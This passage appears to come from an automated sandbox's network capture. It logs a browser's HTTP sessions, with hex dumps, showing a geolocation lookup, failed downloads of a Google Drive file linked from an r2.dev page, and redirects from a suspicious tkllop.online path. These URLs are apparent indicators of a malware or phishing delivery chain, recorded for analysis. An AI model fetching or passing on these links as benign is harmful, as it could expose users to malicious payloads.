}.VfPpkd-Bz112c-J1Ukfc-LhBDec {pointer-events: none;border: 2px solid transparent;border-radius: 6px;box-sizing: content-box;position: absolute
2024-12-17 21:24:56 UTC	1289	IN	Data Raw: 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 20 74 72 61 6e 73 66 6f 72 6d 2c 6f 70 61 63 69 74 79 20 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 20 7b 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 6f 70 61 63 69 74 79 3a 20 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 20 5c 5c 5c 22 Data Ascii: -tap-highlight-color: rgba(0,0,0,0);will-change: transform,opacity }.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-Jh9lGc::after {position: absolute;border-radius: 50%;opacity: 0;pointer-events: none;content: \\\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49743	104.21.112.1	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:56 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:56 UTC	944	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:24:56 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 56 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLIU%2FIdFgqltXns%2BNh70w5fFOVtsmATpFI8kY0MeIkcH0KzQR9SEAn3ICVwDNf2BxhzWIYK%2FxNWONhWJKmhVc%2FbLSz9W2Dk5V%2BYA8RYzXmnjFO6l0WnDODnDguE8js%2Ft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fb9d6ee4729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2019&min_rtt=2017&rtt_var=761&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2345&recv_bytes=924&delivery_rate=1433480&cwnd=169&unsent_bytes=0&cid=3af66e0465e6d340&ts=672&x=0"
2024-12-17 21:24:56 UTC	425	IN	Data Raw: 34 34 31 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 34 30 2e 37 31 33 31 39 32 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 30 36 35 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 34 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 31 30 31 31 36 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 Data Ascii: 441{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false
2024-12-17 21:24:56 UTC	671	IN	Data Raw: 2f 42 6f 69 73 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 43 68 69 63 61 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c Data Ascii: /Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\
2024-12-17 21:24:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49745	172.217.19.238	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:57 UTC	705	OUT	GET /uc?export=download&id=1_bcCRMtnyFYaRD40jABwNjeVl3-_AgIn HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:58 UTC	1856	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 17 Dec 2024 21:24:57 GMT Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-ja75jNIFXEekiTlM1Iy8xw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 21:24:58 UTC	1665	IN	Data Raw: 36 37 61 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 33 20 28 46 6f 72 62 69 64 64 65 6e 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 38 30 67 55 72 52 6c 32 49 54 69 5a 49 5f 36 32 36 35 2d 31 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 Data Ascii: 67a<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 403 (Forbidden)!!1</title><style nonce="I80gUrRl2ITiZI_6265-1A">*{margin:0;padding:0}html,code{font:15px/22px
2024-12-17 21:24:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49748	172.67.164.87	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:57 UTC	371	OUT	GET /obufsssssssscaaatoion/ HTTP/1.1 Host: glp6srokudo.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:24:58 UTC	956	IN	HTTP/1.1 302 Found Date: Tue, 17 Dec 2024 21:24:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M2C4PxXYkMp1pdUsww4tL8Y3q0IKwW2zZqk0I4NWmf94oFcmCtCSEe3jCTX0wPryDJe9PgK7bMyh8fethJG3otGIPfcRa6QTr5TY1sF4zvmsD4maLbvKRT71PVYt19CTgCg7OEY7cTzIVnhG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fba7af380f43-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1510&rtt_var=569&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=949&delivery_rate=1933774&cwnd=32&unsent_bytes=0&cid=9caf5055c76ab4cc&ts=653&x=0"
2024-12-17 21:24:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49749	172.217.19.238	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:24:59 UTC	705	OUT	GET /uc?export=download&id=1_bcCRMtnyFYaRD40jABwNjeVl3-_AgIn HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:00 UTC	1856	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 17 Dec 2024 21:25:00 GMT Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-fxRPZ7Qy7poP1GX0eeF6ZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 21:25:00 UTC	1665	IN	Data Raw: 36 37 61 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 33 20 28 46 6f 72 62 69 64 64 65 6e 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 67 6f 48 6d 30 4e 51 50 66 6d 32 51 72 52 4d 4a 6e 4c 6a 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 Data Ascii: 67a<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 403 (Forbidden)!!1</title><style nonce="bgoHm0NQPfm2QrRMJnLj5w">*{margin:0;padding:0}html,code{font:15px/22px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49753	172.67.164.87	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:25:00 UTC	371	OUT	GET /obufsssssssscaaatoion/ HTTP/1.1 Host: glp6srokudo.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:01 UTC	971	IN	HTTP/1.1 302 Found Date: Tue, 17 Dec 2024 21:25:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bufl%2Bhn989Sa3mtB%2Fei3GHT8SfnY3XTSoxHEeUOE%2FutYbwBRrKqzwB%2BdKzbMExTvFWoqabYi1Y%2FKAyf%2BNNrNvfCjtolraBB4LVLxbN%2BqQpfXc35Ca65m3bAcZCmLhQaEMeqLwELJalXb0Exs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fbbae9a64411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1613&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=949&delivery_rate=1764350&cwnd=235&unsent_bytes=0&cid=56ef18a58d9d32a7&ts=672&x=0"
2024-12-17 21:25:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49754	142.250.181.132	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:25:03 UTC	338	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:04 UTC	1770	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:25:03 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-0ggy8noNPVt4adzHlGK_Ww' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AZ6Zc-XeL-fFiL-p87CJjvS2uR9MOQqfcP8r8r7n0wxYiGMWT7wDhIZrkFo; expires=Sun, 15-Jun-2025 21:25:03 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=520=o1O9gPyqb_-zJ6MBCkENK4uC2-RWXG-yEmUpLZZU48UPWOiM00vfSIkUddvlHzBbjLKDRsHr1ynSq36acOBlTSMP0_vbLViGJDey5nGpf0WAQb2B4mFR4N3xFY28CmCt5vsSA-NnI4UslF0FKV7CEn1XBVVFy8GDW_CuBK0kEcYvOdf8_O_I33Pz6u6LO4K5gdhYsnocUA; expires=Wed, 18-Jun-2025 21:25:03 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 21:25:04 UTC	1770	IN	Data Raw: 31 37 64 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 17df<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2024-12-17 21:25:04 UTC	1770	IN	Data Raw: 6f 67 6c 65 29 2e 78 7c 7c 28 64 2e 78 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 29 76 61 72 20 63 3d 61 2e 69 64 3b 65 6c 73 65 7b 64 6f 20 63 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 77 68 69 6c 65 28 67 6f 6f 67 6c 65 2e 79 5b 63 5d 29 7d 67 6f 6f 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c Data Ascii: ogle).x\|\|(d.x=function(a,b){if(a)var c=a.id;else{do c=Math.random();while(google.y[c])}google.y[c]=[a,b];return!1});var e;(e=google).sx\|\|(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google).plm\|\|(f.plm=function(a){google.lm.push.apply(googl
2024-12-17 21:25:04 UTC	1770	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 63 61 28 61 2c 62 2c 63 2c 64 2c 66 29 7b 69 66 28 21 61 7c 7c 21 62 26 26 64 61 28 61 29 29 72 65 74 75 72 6e 20 30 3b 69 66 28 21 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 29 72 65 74 75 72 6e 20 31 3b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 6b 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 7d 3b 72 65 74 75 72 6e 21 62 26 26 65 61 28 61 2c 64 2c 68 29 7c 7c 21 62 26 26 66 26 26 66 61 28 61 2c 68 29 3f 30 3a 68 61 28 61 2c 62 2c 63 2c 64 2c 68 29 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 29 7b 61 3d 62 Data Ascii: ndow.performance.timing.responseStart:void 0;function ca(a,b,c,d,f){if(!a\|\|!b&&da(a))return 0;if(!a.getBoundingClientRect)return 1;var h=function(k){return k.getBoundingClientRect()};return!b&&ea(a,d,h)\|\|!b&&f&&fa(a,h)?0:ha(a,b,c,d,h)}function fa(a,b){a=b
2024-12-17 21:25:04 UTC	809	IN	Data Raw: 73 2e 6a 29 61 3a 7b 66 6f 72 28 64 3d 30 3b 64 3c 43 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 22 2b 43 5b 64 5d 29 29 7b 64 3d 21 30 3b 62 72 65 61 6b 20 61 7d 64 3d 21 31 7d 74 68 69 73 2e 6c 3d 64 3b 74 68 69 73 2e 46 3d 74 68 69 73 2e 67 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 73 72 63 22 29 3b 28 61 3d 74 68 69 73 2e 67 2e 73 72 63 29 26 26 74 68 69 73 2e 6c 26 26 28 74 68 69 73 2e 44 3d 61 29 3b 21 74 68 69 73 2e 6c 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 61 7c 7c 74 68 69 73 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 7a 79 5f 22 2c 22 31 22 29 3b 74 68 69 73 2e 42 3f 62 3d 21 30 3a 62 7c 7c 78 26 26 74 68 Data Ascii: s.j)a:{for(d=0;d<C.length;++d)if(a.getAttribute("data-"+C[d])){d=!0;break a}d=!1}this.l=d;this.F=this.g.hasAttribute("data-bsrc");(a=this.g.src)&&this.l&&(this.D=a);!this.l&&typeof a==="string"&&a\|\|this.g.setAttribute("data-lzy_","1");this.B?b=!0:b\|\|x&&th
